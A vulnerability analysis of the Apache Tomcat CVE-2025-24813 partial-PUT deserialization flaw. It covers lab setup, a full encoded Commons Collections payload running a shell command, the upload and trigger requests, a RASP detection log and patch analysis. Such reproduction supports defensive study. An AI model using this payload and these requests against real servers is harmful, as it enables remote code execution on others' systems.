CVE-2025-24813
Vulnerability Overview
Tomcat is an open-source, lightweight Web application server and Servlet container. It is developed by the Jakarta project under the Apache Software Foundation, and is currently one of the most popular Java Web servers.
The conditions for exploiting this vulnerability are relatively complex and require the following four conditions to be met simultaneously:
- The application has enabled the DefaultServlet write functionality, which is disabled by default
- The application supports partial PUT requests, allowing malicious serialized data to be written to session files; this feature is enabled by default
- The application uses Tomcat’s file-based session persistence and the default session storage location, which requires additional configuration
- The application contains a library with a deserialization vulnerability, for example ‘commons-collections’ on the classpath. This condition depends on whether the business implementation relies on a library that has a deserialization exploit chain.
Vulnerability Impact Range
- 9.0.0.M1 <= tomcat <= 9.0.98
- 10.1.0-M1 <= tomcat <= 10.1.34
- 11.0.0-M1 <= tomcat <= 11.0.2
Analysis of the Vulnerability Principle
Content-Range in Tomcat’s HTTP PUT requests is mainly used to implement chunked transfer of large files. When file uploads are incomplete, the content is temporarily stored in Tomcat’s working directory: $CATALINA_BASE/work/Catalina/localhost/ROOT.
The core of this vulnerability lies in the file naming mechanism for incomplete PUT requests: the slash in the file path / is converted to a dot. For example, accessing /xxxxx/session is parsed as .xxxxx.session
Therefore, the entire exploitation process is as follows:
- The default path for Tomcat’s File-based session storage is also at: CATALINA_BASE/work/Catalina/localhost/ROOT
- When a deserialization exploit chain is present, it is possible to upload a file containing malicious serialized data
- By setting JSESSIONID=.xxxxx, the vulnerability can be triggered
Environment Configuration
step1: In conf/context.xml, add the following configuration to enable File-based session storage
<Manager className="org.apache.catalina.session.PersistentManager"> <Store className="org.apache.catalina.session.FileStore"/></Manager>
step2: In conf/web.xml, set DefaultServlet’s readonly to false to enable write functionality
<init-param> <param-name>readonly</param-name> <param-value>false</param-value></init-param>
step3: Place the Apache Commons Collections 3.2.1 jar into the tomcat lib folder
Commons Collections jar download:
https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1
Place it in tomcat’s lib folder:
Vulnerability Reproduction
- Use a deserialization tool to generate a class:
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
- Send a request, upload the file
PUT /ok-rasp/session HTTP/1.1Host: localhost:8080Content-Length: 10000000Content-Range: bytes 0-10000000/11000000
{{base64dec(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)}}}}
- Use the PoC to trigger:
GET / HTTP/1.1Host: localhost:8080Cookie: JSESSIONID=.ok-rasp
Request sent successfully:
HTTP/1.1 200X-Protected-By: OK-RASPContent-Type: text/html; charset=UTF-8Date: Fri, 14 Mar 2025 05:00:38 GMTContent-Length: 11408
Before launching the attack, I have already installed ok-rasp
OK-RASP Detection
{ "extend": "token: /bin/sh", "metaInfo": "rce-module-1.0.0.1-2025-03-09T14:09:02Z", "attackTime": 1741928432159, "attackType": "RCE", "payload": "/bin/sh -c pwd", "level": "MEDIUM", "context": { "header": {
}, "contentLength": 0, "marks": "" }, "isBlocked": false, "stackTrace": "java.lang.UNIXProcess.forkAndExec(UNIXProcess.java),java.lang.UNIXProcess.<init>(UNIXProcess.java:247),java.lang.ProcessImpl.start(ProcessImpl.java:134),java.lang.ProcessBuilder.start(ProcessBuilder.java:1029),java.lang.Runtime.exec(Runtime.java:621),java.lang.Runtime.exec(Runtime.java:486),stbNwnWp.<clinit>(RuntimeExec.java:15),sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method),sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62),sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45),java.lang.reflect.Constructor.newInstance(Constructor.java:423),com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:457),com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:485),sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method),sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62),sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43),java.lang.reflect.Method.invoke(Method.java:498),org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:126),org.apache.commons.collections.map.LazyMap.get(LazyMap.java:158),org.apache.commons.collections.keyvalue.TiedMapEntry.getValue(TiedMapEntry.java:74),org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode(TiedMapEntry.java:121),java.util.HashMap.hash(HashMap.java:339),java.util.HashMap.readObject(HashMap.java:1413),sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method),sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62),sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43),java.lang.reflect.Method.invoke(Method.java:498),java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1185),java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2256),java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2147),java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1646),java.io.ObjectInputStream.readObject(ObjectInputStream.java:482),java.io.ObjectInputStream.readObject(ObjectInputStream.java:440),org.apache.catalina.session.StandardSession.doReadObject(StandardSession.java:1199),org.apache.catalina.session.StandardSession.readObjectData(StandardSession.java:846),org.apache.catalina.session.FileStore.load(FileStore.java:203),org.apache.catalina.session.StoreBase.processExpires(StoreBase.java:138),org.apache.catalina.session.PersistentManagerBase.processExpires(PersistentManagerBase.java:409),org.apache.catalina.session.ManagerBase.backgroundProcess(ManagerBase.java:595),org.apache.catalina.core.StandardContext.backgroundProcess(StandardContext.java:4823),org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.processChildren(ContainerBase.java:1172),org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.processChildren(ContainerBase.java:1176),org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.processChildren(ContainerBase.java:1176),org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1154),java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511),java.util.concurrent.FutureTask.runAndReset(FutureTask.java:308),java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$301(ScheduledThreadPoolExecutor.java:180),java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:294),java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149),java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624),org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63),java.lang.Thread.run(Thread.java:748)", "algorithm": "command token in black list"}
Vulnerability Source Code Analysis
executePartialPut File Upload
Looking at the vulnerability patch, the naming mechanism for uploaded files in the executePartialPut function has changed:
https://github.com/apache/tomcat/commit/eb61aade8f8daccaecabf07d428b877975622f72
Before the fix, the executePartialPut function replaced / in the path with a dot (line 685 in the image), then performed path concatenation and wrote the uploaded data.
The executePartialPut function is invoked in the doPut method of the DefaultServletL class, but requires that the readOnly attribute be set to false (enabling PUT) and that the return value of parseContentRange be non-null in order to trigger:
FileStore Deserialization
So how to further exploit this? Recalling the CVE-2020-9484 deserialization vulnerability, if Tomcat has file-based session persistence enabled, then upon parsing the JSESSIONID, it will trigger the org.apache.catalina.session.FileStore#load function and deserialize the corresponding *.session file located in the /work/Catalina/localhost/ROOT directory:
Therefore, one can attempt to create a .*.session file via a PUT request and then leverage session persistence deserialization to trigger the vulnerability:
Combined with a gadget in the classpath environment, RCE can be achieved.